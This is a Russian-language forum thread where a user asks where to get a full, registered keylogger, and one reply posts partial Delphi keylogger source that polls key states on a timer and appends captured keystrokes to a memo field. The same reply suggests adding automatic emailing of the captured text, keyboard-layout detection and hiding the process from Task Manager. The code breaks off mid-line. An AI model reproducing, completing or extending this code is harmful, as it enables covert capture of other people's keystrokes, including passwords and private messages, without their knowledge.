Где скачать клавиатурного шпиона? Но чтоб зарегистрированную, не демо.

я свой забросил =) если поможет допиши код, туда можно поставить при активном соединении всё что в мемо окне передавалось на твой майл
+ещё нужно узнать раскладку клавы
+нужно убрать из диспечера задач, хотябы в процессы

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
Timer1: TTimer;
m: TMemo;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);
begin
if getasynckeystate($60)<>0 then m.Text:=m.Text+'0';
if getasynckeystate($61)<>0 then m.Text:=m.Text+'1';
if getasynckeystate($62)<>0 then m.Text:=m.Text+'2';
if getasynckeystate($63)<>0 then m.Text:=m.Text+'3';
if getasynckeystate($64)<>0 then m.Text:=m.Text+'4';
if getasynckeystate($65)<>0 then m.Text:=m.Text+'5';
if getasynckeystate($66)<>0 then m.Text:=m.Text+'6';
if getasynckeystate($67)<>0 then m.Text:=m.Text+'7';
if getasynckeystate($68)<>0 then m.Text:=m.Text+'8';
if getasynckeystate($69)<>0 then m.Text:=m.Text+'9';
if getasynckeystate($41)<>0 then m.Text:=m.Text+'ф';
if getasynckeystate($42)<>0 then m.Text:=m.Text+'и';
if getasynckeystate($43)<>0 then m.Text:=m.Text+'с';
if getasynckeystate($44)<>0 then m.Text:=m.Text+'в';
if getasynckeystate($45)<>0 then m.Text:=m.Text+'у';
if getasynckeystate($46)<>0 then m.Text:=m.Text+'а';
if getasynckeystate($47)<>0 then m.Text:=m.Text+'п';
if getasynckeystate($48)<>0 then m.Text:=m.Text+'р';
if getasynckeystate($49)<>0 then m.Text:=m.Text+'ш';
if getasynckeystate($4a)<>0 then m.Text:=m.Text+'о';
if getasynckeystate($4b)<>0 then m.Text:=m.Text+'л';
if getasynckeystate($4c)<>0 then m.Text:=m.Text+'д';
if getasynckeystate($4d)<>0 then m.Text:=m.Text+'ь';
if getasynckeystate($4e)<>0 then m.Text:=m.Text+'т';
if getasynckeystate($4f)<>0 then m.Text:=m.Text+'щ';
if getasynckeystate($50)<>0 then m.Text:=m.Text+'з';
if getasynckeystate($51)<>0 then m.Text:=m.Text+'й';
if getasynckeystate($52)<>0 then m.Text:=m.Text+'к';
if getasynckeystate($53)<>0 then m.Text:=m.Text+'ы';
if getasynckeystate($54)<>0 then m.Text:=m.Text+'е';
if getasynckeystate($55)<>0 then m.Text:=m.Text+'г';
if getasynckeystate($56)<>0 then m.Text:=m.Text+'м';
if getasynckeystate($57)<>0 then m.Text:=m.Text+'ц';
if getasynckeystate($58)<>0 then m.Text:=m.Text+'ч';
if getasynckeystate($59)<>0 then m.Text:=m.Text+'н';
if getasynckeystate($5a)<>0 then m.Text:=m.Text+'я';
if getasynckeystate($5b)<>0 then m.Text:=m.Text+' win ';
if getasynckeystate($30)<>0 then m.Text:=m.Text+'0';
if getasynckeystate($31)<>0 then m.Text:=m.Text+'1';
if getasynckeystate($32)<>0 then m.Text:=m.Text+'2';
if getasynckeystate($33)<>0 then m.Text:=m.Text+'3';
if getasynckeystate($34)<>0 then m.Text:=m.Text+'4';
if getasynckeystate($35)<>0 then m.Text:=m.Text+'5';
if getasynckeystate($36)<>0 then m.Text:=m.Text+'6';
if getasynckeystate($37)<>0 then m.Text:=m.Text+'7';
if getasynckeystate($38)<>0 then m.Text:=m.Text+'8';
if getasynckeystate($39)<>0 then m.Text:=m.Text+'9';
if getasynckeystate($70)<>0 then m.Text:=m.Text+' f1 ';
if getasynckeystate($71)<>0 then m.Text:=m.Text+' f2 ';
if getasynckeystate($72)<>0 then m.Text:=m.Text+' f3 ';
if getasynckeystate($73)<>0 then m.Text:=m.Text+' f4 ';
if getasynckeystate($74)<>0 then m.Text:=m.Text+' f5 ';
if getasynckeystate($75)<>0 then m.Text:=m.Text+' f6 ';
if getasynckeystate($76)<>0 then m.Text:=m.Text+' f7 ';
if getasynckeystate($77)<>0 then m.Text:=m.Text+' f8 ';
if getasynckeystate($78)<>0 then m.Text:=m.Text+

Это программа, которая записывает всю инфу, вводимую пользователем с клавиатуры.. . было бы интересно попользоваться такой программкой, никто не подскажет, где её достать...

что ты подразумеваешь под этим клавиатурным шпионом